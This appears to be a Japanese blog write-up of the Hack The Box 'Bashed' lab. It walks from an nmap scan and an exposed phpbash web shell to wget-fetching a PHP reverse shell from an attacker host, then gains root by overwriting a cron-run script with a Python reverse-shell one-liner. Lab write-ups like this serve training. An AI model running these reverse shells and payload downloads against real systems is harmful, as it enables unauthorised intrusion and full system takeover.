0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Bashed Writeup

Last updated at Posted at 2023-05-03

Executive summary

Tool / Command

  • nmap
  • ffuf
  • php-reverse-shell.php (pentestmonkey)
  • sudo -l
  • sudo -u scriptmanager bash
  • import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); (pentestmonkey Python Reverse Shell)

1. PortScan

「80/tcp」のみが開いている
sudo nmap 10.10.10.68 -sS -T4 -sVC --max-rate 1000 --min-rate 1000

└─$ sudo nmap 10.10.10.68 -sS -T4 -sVC --max-rate 1000 --min-rate 1000
[sudo] kali のパスワード:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-03 11:26 JST
Nmap scan report for 10.10.10.68
Host is up (0.25s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.04 seconds

2. Local Shell

HTTP:Apache httpd 2.4.18

HTTPに対して侵入を試みる

ブラウザでアクセスする
なんかカッコイイ

※ソースコードを見ても特に何もない
image.png
→をクリックすると以下の画面へ
URLからuploadsディレクトリがあると推測する
image.png
image.png
ディレクトリ探索をする
色々出力したが、普段見かけないdevとuploadsが気になる

「http://10.10.10.68/dev」にアクセスする
phpbash.min.phpとphpbash.phpが確認できる
image.png
「http://10.10.10.68/dev/phpbash.php」にアクセスする ※phpbash.min.phpも同様の機能だった
コマンド実行できることが確認できる
image.png
「http://10.10.10.68/uploads」にアクセスする
特に何もない
image.png

「http://10.10.10.68/dev/phpbash.php」を悪用して、php-reverse-shell.phpを「http://10.10.10.68/uploads」にアップロードおよびアクセスすることでリバースシェルが取得できるか試す

以下を参照して悪用を試みる

以下を編集する
$ip = '10.10.14.4'; // CHANGE THIS
$port = 4444; // CHANGE THIS

「http://10.10.10.68/dev/phpbash.php」にて、/var/www/html/uploadsディレクトリに移動する

php-reverse-shell.phpをアップロードする
wget http://10.10.14.4:8000/php-reverse-shell.php
image.png
ポート「8000」で待ち受ける
python -m http.server

「http://10.10.10.68/uploads/php-reverse-shell.php」にアクセスする

ポート「4444」で待ち受ける
nc -lnvp 4444

リバースシェルが取得できる

└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 59726
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 21:49:25 up 9 min,  0 users,  load average: 0.00, 0.02, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bashed:/$ pwd
pwd
/
www-data@bashed:/$ cd /home
cd /home
www-data@bashed:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root          root          4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
drwxr-xr-x  4 arrexel       arrexel       4096 Jun  2  2022 arrexel
drwxr-xr-x  3 scriptmanager scriptmanager 4096 Dec  4  2017 scriptmanager
www-data@bashed:/home$ cd arrexel
cd arrexel
www-data@bashed:/home/arrexel$ ls -la
ls -la
total 32
drwxr-xr-x 4 arrexel arrexel 4096 Jun  2  2022 .
drwxr-xr-x 4 root    root    4096 Dec  4  2017 ..
lrwxrwxrwx 1 root    root       9 Jun  2  2022 .bash_history -> /dev/null
-rw-r--r-- 1 arrexel arrexel  220 Dec  4  2017 .bash_logout
-rw-r--r-- 1 arrexel arrexel 3786 Dec  4  2017 .bashrc
drwx------ 2 arrexel arrexel 4096 Dec  4  2017 .cache
drwxrwxr-x 2 arrexel arrexel 4096 Dec  4  2017 .nano
-rw-r--r-- 1 arrexel arrexel  655 Dec  4  2017 .profile
-rw-r--r-- 1 arrexel arrexel    0 Dec  4  2017 .sudo_as_admin_successful
-r--r--r-- 1 arrexel arrexel   33 May  2 21:40 user.txt
www-data@bashed:/home/arrexel$ cat user.txt
cat user.txt
c905e24ec7a9e997f2b953**********

管理者権限で実行可能なコマンドがあるか確認する
scriptmanagerユーザにパスワードなしで移行可能を確認できる
sudo -l

www-data@bashed:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

scriptmanagerユーザに移行する
sudo -u scriptmanager bash

www-data@bashed:/$ sudo -u scriptmanager bash
sudo -u scriptmanager bash
scriptmanager@bashed:/$ id
id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

3. Privilege Escalation

管理者権限で実行可能なコマンドがあるか確認するが、パスワードが必要
sudo -l

定時実行スケジュールを確認するが、特に何もない
cat /etc/crontab

色々遷移するとscriptsディレクトリを確認
scriptsディレクトリ内にstest.pyとtest.txtを確認

scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 May  2 21:57 test.txt
scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ cat test.txt
cat test.txt
testing 123!scriptmanager@bashed:/scripts$ 

以下から管理者権限でtest.pyを定期的に実行していると推測する

test.pyはscriptmanagerが所持
test.txtはrootが所持
test.txtは頻繫に更新日時が更新される
test.pyの結果をtest.txtに書き込んでいる

test.pyの書き込み権限があるので、スクリプトをリバースシェルに書き換えて、管理者権限のリバースシェルが取得できるか試す

以下を参照して悪用を試みる

test.pyを作成して以下を書き込む
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

test.pyをアップロードする
wget http://10.10.14.4:8000/test.py -O ./test.py

ポート「8000」で待ち受ける
python -m http.server

ポート「5555」で待ち受ける
nc -lnvp 5555

管理者権限のリバースシェルが取得できる

└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 58142
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/scripts
# cat /root/root.txt
0b7a2e9c0359386a09d5fb**********

以上

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?